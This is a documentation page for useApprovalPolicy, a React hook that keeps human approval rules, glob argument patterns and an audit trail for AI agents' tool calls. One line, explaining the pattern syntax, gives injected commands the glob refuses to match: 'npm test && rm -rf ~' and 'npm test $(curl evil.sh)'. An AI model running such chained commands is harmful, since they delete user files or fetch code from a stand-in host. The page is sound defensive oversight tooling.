Skip to content

Docs

Components

useApprovalPolicy

Approval rules: once, for the session or always, by tool and argument pattern, with storage and an audit trail.

Example

The agent asks to run

Pick a command above to see its approval.

Interactive, and the same on the components page. Try the keyboard below on it.

Installation

npm i signoff-ui ai
import { useApprovalPolicy, webStorageRules, setToolInput } from 'signoff-ui';
// Once per app (with Tailwind v4: @import 'signoff-ui/tailwind.css'; in your CSS)
import 'signoff-ui/styles.css';

The styles are once per app; Getting started has the Tailwind v4 and plain CSS options.

Usage

const storage = webStorageRules(); // once, outside the component

function Run() {
  const { messages, setMessages, addToolApprovalResponse } = useChat();
  const policy = useApprovalPolicy({ storage, onAudit: (event) => log(event) });
  return messages.map((m) => (
    <AgentMessage
      key={m.id}
      message={m}
      onToolApproval={addToolApprovalResponse}
      approvalPolicy={policy}
      onToolInputEdit={(id, input) => setMessages((all) => setToolInput(all, id, input))}
    />
  ));
}

How it works

Approval rules: what a person decided once, applied to the calls that follow. A decision is allow-once, allow-session, allow-always, deny-once or deny-always. A session or always decision leaves a rule over the tool (tool, a name or a glob such as mcp_github_*), narrowed by argument patterns when given (args: { command: 'npm test*' }, with dotted names for nested arguments) or by a test of your own (when). When an allow rule and a deny rule both match a call, the deny rule wins.

The patterns. A pattern matches the whole argument. * matches any run of characters except shell operators: ;, &, |, `, <, >, $( and line breaks. So npm test* allows npm test -- --watch, but not npm test && rm -rf ~ or npm test $(curl evil.sh). ** matches anything, operators included. ? matches one character, and \ makes the next one literal. Numbers and booleans match as text. Arrays, objects and missing arguments match no pattern.

What it does. decide(request, decision, { reason, input, args }) records a person's decision, and the rule it leaves. answer(request) answers from the rules when one covers the call, recorded as decided by that rule. match, addRule, removeRule and clearSession work on the rules directly. onAudit receives every decision, with who made it (a person or a rule), the rule, the reason and any edited arguments, as well as every rule added or removed and every session cleared.

Where rules are kept. Session rules stay in memory until the page reloads or clearSession() runs. always rules go to storage: by default in memory, webStorageRules() for localStorage, or your own { load, save }, which may be async. A rule's when is code, and is never saved. Rules are loaded after the first render, so a server render and the hydrating client agree. A call that arrives before they load is shown to a person.

On the server. The same rules, as AI SDK 7's toolApproval: streamText({ toolApproval: toToolApproval(rules) }) approves or denies a call a rule covers, and asks a person about the rest. The SDK checks it again on an approved call before running it, with edited arguments too. Rules a client sends are the choices of the person using it, so apply them to that person's runs only. Keep rules that protect other people on the server.

AG-UI and ACP. With useAgUiAgent, an approval's resume payload is { approved, reason?, input? }. For the Agent Client Protocol's session/request_permission:

  • decisionsFromAcpOptions(request.options) gives the choices to offer.
  • toAcpPermissionResponse(decision, request.options) answers with the option of the same kind (allow_once, allow_always, reject_once, reject_always).
  • fromAcpPermissionRequest(request) turns the request into the card's.

ACP has no session option, so allow-session answers allow_once and leaves the session rule on the client. These helpers are types and functions only, with no ACP package to install.

API reference

Generated from the types the package ships, so it matches the version you install.

useApprovalPolicy

Approval rules, held for the page: once, for the session or always, scoped by tool and by argument patterns, deny winning over allow. Pass the policy to ToolApprovalCard, AgentMessage or ToolApprovalBatch, and they offer the choices, answer what a rule already decides, and record the rest. Persistence is pluggable: always rules go to storage, session rules stay in memory.

useApprovalPolicy({ rules: rulesProp, defaultRules, onRulesChange, storage: storageProp, onAudit, labels }?: UseApprovalPolicyOptions | undefined): ApprovalPolicy

Parameter: UseApprovalPolicyOptions

rules
readonly ApprovalRule[]

Controlled rules.

defaultRules
readonly ApprovalRule[]

Rules to start with, before any the storage loads.

onRulesChange
(rules: ApprovalRule[]) => void
storage
ApprovalRuleStorage

Where always rules are loaded from and saved to. Default: memory, for this page.

onAudit
(event: ApprovalAuditEvent) => void

Every decision, rule added or removed, and session cleared, as it happens.

labels
SignoffLabelsInput

Words to use instead of the English defaults: the reason a deny rule without one of its own sends (labels.approvalPolicy.ruleDenial). See SignoffLabelsProvider.

Returns: ApprovalPolicy

rulesrequired
readonly ApprovalRule[]
readyrequired
boolean

The storage has loaded: after the first render, or once an async storage's promise settles.

matchrequired
(toolName: string, input: unknown) => RuleMatch | undefined

The rule that decides a call, if one does.

deciderequired
(request: ApprovalRequest, decision: ApprovalDecision, options?: { reason?: string | undefined; input?: unknown; args?: Record<string, string> | undefined; }) => ApprovalOutcome

Record a person's decision and the rule it leaves (for session and always decisions, over the call's args when given, else every call of the tool), and return it ready to send.

answerrequired
(request: ApprovalRequest) => ApprovalOutcome | undefined

Answer a request from the rules, if one matches, recorded as decided by that rule.

outcomeOfrequired
(id: string) => ApprovalOutcome | undefined

How an answered request was decided, by its id: by a person or by which rule.

addRulerequired
(rule: ApprovalRule) => void
removeRulerequired
(id: string) => void
clearSessionrequired
() => void

Forget the session rules.

ApprovalRule

A standing decision about a tool's calls: allowed or denied, for the session or always.

idrequired
string

Unique among the rules.

toolrequired
string

The tool's name, or a glob over names: * for every tool, mcp_github_* for a family.

effectrequired
'allow' | 'deny'
scoperequired
'session' | 'always'

session: until the page reloads or the session is cleared. always: kept by the storage.

args
Readonly<Record<string, string>>

Globs by argument name, which must all match: { command: 'npm test*' }. A dotted name reads a nested argument ('options.cwd'). Absent: any arguments.

when
(input: unknown) => boolean

A test of your own on the input, on top of args. Code, so storage does not keep it.

createdAt
number

When it was made, in milliseconds since the epoch.

reason
string

Why it was made, e.g. the reason a person gave when denying.

ApprovalDecision

What a person can decide about a tool call, and for how long it holds.

type ApprovalDecision = 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always';

ApprovalRequest

A tool call that needs a decision.

idrequired
string

The id a response answers: AI SDK's approval.id, an AG-UI interrupt's id, or for ACP the tool call's id.

toolNamerequired
string
inputrequired
unknown
toolCallId
string

ApprovalOutcome

A decision, ready to send: approved and reason for the agent, the rest for your app.

idrequired
string
approvedrequired
boolean
decisionrequired
ApprovalDecision
'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always'
byrequired
'user' | 'rule'
reason
string
input
unknown

The arguments to run with, when the person edited them.

rule
ApprovalRule

ApprovalAuditEvent

Everything the policy did, for an audit trail.

type ApprovalAuditEvent = {
  type: 'decision';
  at: number;
  request: ApprovalRequest;
  decision: ApprovalDecision;
  /** A person decided, or one of the rules did. */
  by: 'user' | 'rule';
  /** The rule that decided, or the one this decision made. */
  rule?: ApprovalRule | undefined;
  reason?: string | undefined;
  /** The arguments as approved, when the person edited them. */
  input?: unknown;
} | {
  type: 'rule-added' | 'rule-removed';
  at: number;
  rule: ApprovalRule;
} | {
  type: 'session-cleared';
  at: number;
  rules: ApprovalRule[];
};

ApprovalRuleStorage

Where always rules are kept between visits. Session rules are never saved.

loadrequired
() => readonly ApprovalRule[] | PromiseLike<readonly ApprovalRule[]>
saverequired
(rules: readonly ApprovalRule[]) => void | PromiseLike<void>

Accessibility

  • A hook with no markup of its own: ApprovalCard, ToolApprovalCard and ToolApprovalBatch carry the behavior on their pages.
  • A call a rule decides is answered without a prompt that would take focus, and reads "Allowed by your rule" or "Denied by your rule" with the rule in words.